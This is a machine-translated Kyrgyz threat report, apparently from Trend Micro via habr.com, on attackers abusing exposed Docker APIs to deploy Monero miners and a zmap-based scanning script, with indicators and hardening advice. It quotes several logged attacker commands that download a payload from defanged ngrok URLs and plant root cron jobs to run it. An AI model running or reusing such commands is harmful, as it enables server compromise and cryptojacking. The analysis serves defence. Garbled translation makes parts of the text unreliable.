
Биз коркунучтарга көз салуу үчүн түзүлгөн бал идиштерин колдонуу менен чогултулган маалыматтарды талдап чыктык. Жана биз Docker Hub сайтында коомчулук тарабынан жарыяланган сүрөттү колдонуп, жалган контейнерлер катары жайгаштырылган керексиз же уруксатсыз криптовалюталык шахтерлордун олуттуу активдүүлүгүн аныктадык. Сүрөт зыяндуу cryptocurrency кенчилерди куткарат кызматтын бир бөлүгү катары колдонулат.
Кошумчалай кетсек, тармактар менен иштөө үчүн программалар ачык кошуна контейнерлерге жана тиркемелерге кирүү үчүн орнотулган.
Биз бал челектерди ошол бойдон, башкача айтканда, демейки жөндөөлөр менен, эч кандай коопсуздук чараларысыз же кошумча программалык камсыздоону орнотуусуз калтырабыз. Каталарды жана жөнөкөй кемчиликтерди болтурбоо үчүн Dockerде баштапкы орнотуу боюнча сунуштар бар экенин эске алыңыз. Бирок колдонулган бал челектери контейнерлердин ичиндеги тиркемелер эмес, контейнерлештирүү платформасына багытталган чабуулдарды аныктоо үчүн иштелип чыккан контейнерлер.
Табылган зыяндуу иш-аракет дагы өзгөчө, анткени ал аялууларды талап кылбайт жана ошондой эле Docker версиясынан көз карандысыз. Туура эмес конфигурацияланган, демек, ачык контейнер сүрөтүн табуу чабуулчуларга көптөгөн ачык серверлерди жугузушу үчүн керек.
Жабык эмес Docker API колдонуучуга кеңири спектрин аткарууга мүмкүндүк берет , анын ичинде иштеп жаткан контейнерлердин тизмесин алуу, белгилүү бир контейнерден журналдарды алуу, баштоо, токтотуу (анын ичинде мажбурлоо) жана ал тургай, көрсөтүлгөн орнотуулар менен белгилүү бир сүрөттөлүштөн жаңы контейнерди түзүү.

Сол жакта кесепеттүү программаны жеткирүү ыкмасы. Оң жакта чабуулчунун чөйрөсү бар, ал сүрөттөрдү алыстан жылдырууга мүмкүндүк берет.

3762 ачык Docker APIнин өлкө боюнча бөлүштүрүлүшү. 12.02.2019/XNUMX/XNUMXдагы Shodan издөөнүн негизинде
Чабуул чынжырынын жана пайдалуу жүктүн параметрлери
Зыяндуу аракеттер бал челектеринин жардамы менен гана эмес аныкталган. Шодандын маалыматтары көрсөткөндөй, ачыкка чыккан Docker API'леринин саны (экинчи графикти караңыз) биз Monero cryptocurrency тоо-кен казып алуу программасын жайылтуу үчүн көпүрө катары колдонулган туура эмес конфигурацияланган контейнерди изилдегенден бери көбөйдү. Өткөн жылдын октябрь айында (2018-ж., учурдагы маалыматтар болжол менен котормочу) 856 гана ачык API бар болчу.
Бал чөйчөкчөлөрүнүн журналдарын изилдөө контейнердин сүрөтүн колдонуу менен да байланыштуу экенин көрсөттү , коопсуз байланыштарды орнотуу же трафикти жалпыга жеткиликтүү пункттардан көрсөтүлгөн даректерге же ресурстарга (мисалы, localhost) багыттоо үчүн курал. Бул чабуулчуларга пайдалуу жүктү ачык серверге жеткирүүдө динамикалык URL түзүүгө мүмкүндүк берет. Төмөндө ngrok кызматын кыянаттык менен пайдаланууну көрсөткөн журналдардан код мисалдары келтирилген:
Tty: false
Command: “-c curl –retry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c ”cron || crond””,
Entrypoint: “/bin/sh”
Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”
Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”,
Tty: false,
Cmd: “-c curl –retry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c ”cron || crond””,
Entrypoint: “/bin/sh”Көрүнүп тургандай, жүктөлгөн файлдар дайыма өзгөрүп турган URL даректеринен жүктөлөт. Бул URL даректеринин жарактуулук мөөнөтү кыска, андыктан пайдалуу жүктөрдү мөөнөтү аяктагандан кийин жүктөп алуу мүмкүн эмес.
Эки пайдалуу жүктөө варианты бар. Биринчиси - ELF форматындагы компиляцияланган майнер. Linux (Coinminer.SH.MALXMR.ATNO катары аныкталган), ал майнинг пулуна туташат. Экинчиси - тармактык диапазондорду сканерлөө жана андан кийин жаңы максаттарды издөө үчүн колдонулган белгилүү бир тармактык куралдарды алуу үчүн иштелип чыккан скрипт (TrojanSpy.SH.ZNETMAP.A).
Тамчы скрипт эки өзгөрмөлөрдү белгилейт, алар андан кийин криптовалютаны иштетүү үчүн колдонулат. HOST өзгөрмөсүндө зыяндуу файлдар жайгашкан URL дареги бар, ал эми RIP өзгөрмөсү жайылтыла турган кенчинин файл аты (чындыгында, хэш) болуп саналат. HOST өзгөрмө хэш өзгөргөн сайын өзгөрөт. Скрипт ошондой эле башка эч кандай cryptocurrency шахтерлор чабуул серверде иштеп жатканын текшерүүгө аракет кылат.

HOST жана RIP өзгөрмөлөрүнүн мисалдары, ошондой эле башка кенчилер иштебегенин текшерүү үчүн колдонулган код үзүндүсү
Майнерди ишке киргизүүдөн мурун, анын аталышы nginx болуп өзгөртүлөт. Бул скрипттин башка версиялары майнерди чөйрөдө болушу мүмкүн болгон башка мыйзамдуу кызматтарга өзгөртөт. LinuxБул, адатта, иштеп жаткан процесстердин тизмесиндеги текшерүүлөрдү айланып өтүү үчүн жетиштүү.
Издөө скриптинин да өзгөчөлүктөрү бар. Бул керектүү куралдарды жайылтуу үчүн ошол эле URL кызматы менен иштейт. Алардын арасында тармактарды сканерлөө жана ачык порттордун тизмесин алуу үчүн колдонулган zmap бинардык системасы бар. Скрипт ошондой эле табылган кызматтар менен иштешүү жана алардан табылган кызмат жөнүндө кошумча маалыматты (мисалы, анын версиясы) аныктоо үчүн баннерлерди алуу үчүн колдонулган дагы бир бинардык файлды жүктөйт.
Скрипт ошондой эле сканерлөө үчүн кээ бир тармак диапазондорун алдын ала аныктайт, бирок бул сценарийдин версиясына жараша болот. Ал ошондой эле кызматтардан максаттуу портторду орнотот - бул учурда Docker - сканерлөөдөн мурун.
Потенциалдуу максаттар табылгандан кийин, баннерлер автоматтык түрдө алардан алынып салынат. Скрипт ошондой эле максаттарды ал кызыккан кызматтарга, тиркемелерге, компоненттерге же платформаларга жараша чыпкалайт: Redis, Jenkins, Drupal, MODX, , Docker 1.16 кардары жана Apache CouchDB. Эгерде сканерленген сервер алардын бирине дал келсе, ал текст файлында сакталат, аны чабуулчулар кийинчерээк талдоо жана хакерлик үчүн колдоно алышат. Бул текст файлдары чабуулчулардын серверлерине динамикалык шилтемелер аркылуу жүктөлөт. Башкача айтканда, ар бир файл үчүн өзүнчө URL колдонулат, бул кийинки жетүү кыйын экенин билдирет.
Чабуул вектору - бул Докердин сүрөтү, муну кийинки эки коддон көрүүгө болот.

Жогору жагында мыйзамдуу кызматка атын өзгөртүү, ал эми ылдый жагында тармактарды сканерлөө үчүн zmap кантип колдонулат

Жогору жагында алдын ала аныкталган тармак диапазондору, ылдый жагында кызматтарды, анын ичинде Dockerди издөө үчүн атайын порттор бар.

Скриншот альп тармал сүрөтү 10 миллиондон ашык жолу жүктөлүп алынганын көрсөтүп турат
Альп тоолоруна негизделген Linux жана ар кандай протоколдор аркылуу файлдарды өткөрүп берүү үчүн ресурстарды үнөмдөөчү CLI куралы болгон curl компиляцияланышы мүмкүн . Мурунку сүрөттө көрүнүп тургандай, бул сүрөт буга чейин 10 миллиондон ашык жолу жүктөлүп алынган. Жүктөлүп алынгандардын көп саны бул сүрөттү кирүү чекити катары колдонууну билдириши мүмкүн; бул сүрөт алты айдан ашык убакыт мурун жаңыртылган; колдонуучулар бул репозиторийден башка сүрөттөрдү көп жүктөп алышкан эмес. Докерде - контейнерди иштетүү үчүн конфигурациялоо үчүн колдонулган нускамалардын жыйындысы. Эгер кирүү чекитинин жөндөөлөрү туура эмес болсо (мисалы, контейнер Интернеттен ачык калган), сүрөт чабуулдун вектору катары колдонулушу мүмкүн. Чабуулчулар аны туура эмес конфигурацияланган же ачык контейнерди колдоого алынбай калса, пайдалуу жүктү жеткирүү үчүн колдоно алышат.
Белгилей кетчү нерсе, бул сүрөт (alpine-curl) өзү зыяндуу эмес, бирок жогоруда көрүп тургандай, ал зыяндуу функцияларды аткаруу үчүн колдонулушу мүмкүн. Окшош Docker сүрөттөрү зыяндуу аракеттерди жасоо үчүн да колдонулушу мүмкүн. Биз Докер менен байланышып, бул маселе боюнча алар менен иштештик.
сунуштар
калдыктар көп компаниялар үчүн, өзгөчө ишке ашыруу үчүн , тез өнүктүрүүгө жана жеткирүүгө багытталган. Баары аудиттин жана мониторингдин эрежелерин сактоо, маалыматтардын купуялуулугун көзөмөлдөө зарылчылыгы, ошондой эле алардын сакталбагандыгынан келип чыккан чоң зыян менен курчутат. Иштеп чыгуунун өмүр циклине коопсуздукту автоматташтыруу башка учурда байкалбай калышы мүмкүн болгон коопсуздук тешиктерин табууга гана жардам бербестен, ошондой эле тиркеме орнотулгандан кийин ар бир табылган кемчилик же туура эмес конфигурация үчүн кошумча программалык камсыздоону иштетүү сыяктуу керексиз жумуш жүгүн азайтууга жардам берет.
Бул макалада талкууланган окуя төмөнкү сунуштарды, анын ичинде башынан коопсуздукту эске алуу зарылдыгын баса белгилейт:
- Системалык администраторлор жана иштеп чыгуучулар үчүн: Ар дайым API жөндөөлөрүңүздү текшерип, баары белгилүү бир серверден же ички тармактан келген суроо-талаптарды гана кабыл алуу үчүн конфигурацияланганын текшериңиз.
- Эң аз укуктар принцибин аткарыңыз: контейнер сүрөттөрүнө кол коюлганын жана текшерилгенин текшериңиз, маанилүү компоненттерге кирүүнү чектөө (контейнерди ишке киргизүү кызматы) жана тармактык байланыштарга шифрлөө кошуу.
- Follow жана коопсуздук механизмдерин иштетүү, мис. жана орнотулган .
- Контейнерде иштеп жаткан процесстер жөнүндө кошумча маалымат алуу үчүн (мисалы, спуфингди аныктоо же кемчиликтерди издөө үчүн) иштөө убакыттарын жана сүрөттөрдү автоматташтырылган сканерден колдонуңуз. Колдонмону көзөмөлдөө жана бүтүндүккө мониторинг серверлерге, файлдарга жана система аймактарына анормалдуу өзгөрүүлөрдү көзөмөлдөөгө жардам берет.
Trendmicro DevOps командаларына коопсуз түзүүгө, тез жайылтууга жана каалаган жерден ишке киргизүүгө жардам берет. Trend Micro Уюмдун DevOps тутумунда күчтүү, жөнөкөйлөштүрүлгөн жана автоматташтырылган коопсуздукту камсыз кылат жана бир нече коркунучтан коргонууну камсыз кылат физикалык, виртуалдык жана булуттагы жүктөрдү иштөө учурунда коргоо үчүн. Ал ошондой эле контейнер коопсуздугун кошот и , алар жайгаштырылганга чейин коркунучтарды болтурбоо үчүн иштеп чыгуу түтүкчөсүнүн каалаган жеринде Docker контейнер сүрөттөрүн кесепеттүү программаларды жана алсыздыктар үчүн сканерлейт.
Компромисстин белгилери
Тиешелүү хэштер:
- 54343fd1555e1f72c2c1d30369013fb40372a88875930c71b8c3a23bbe5bb15e (Coinminer.SH.MALXMR.ATNO)
- f1e53879e992771db6045b94b3f73d11396fbe7b3394103718435982a7161228 (TrojanSpy.SH.ZNETMAP.A)
боюнча Практикалык баяндамачылар жогоруда сүрөттөлгөн жагдайдын пайда болуу ыктымалдуулугун азайтуу же толугу менен болтурбоо үчүн биринчи кезекте кандай орнотууларды жасоо керектигин көрсөтүп беришет. Ал эми 19-21-августта онлайн интенсивдүү Ушул жана ушуга окшогон коопсуздук көйгөйлөрүн кесиптештер жана практик мугалимдер менен тегерек столдо талкууласаңыз болот, анда ар бир адам өз оюн айтып, тажрыйбалуу кесиптештердин кайгысын жана ийгиликтерин уга алат.
Source: www.habr.com
